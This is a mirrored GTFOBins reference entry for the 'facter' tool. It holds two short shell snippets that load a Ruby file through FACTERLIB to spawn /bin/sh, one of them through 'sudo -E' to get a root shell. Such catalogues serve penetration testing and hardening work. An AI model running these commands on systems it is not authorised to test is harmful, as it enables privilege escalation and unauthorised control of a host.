mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 15:29:15 +01:00
14 lines
284 B
Markdown
14 lines
284 B
Markdown
|
---
|
||
|
functions:
|
||
|
execute-interactive:
|
||
|
- code: |
|
||
|
TF=$(mktemp -d)
|
||
|
echo 'exec("/bin/sh")' > $TF/x.rb
|
||
|
FACTERLIB=$TF facter
|
||
|
sudo-enabled:
|
||
|
- code: |
|
||
|
TF=$(mktemp -d)
|
||
|
echo 'exec("/bin/sh")' > $TF/x.rb
|
||
|
FACTERLIB=$TF sudo -E facter
|
||
|
---
|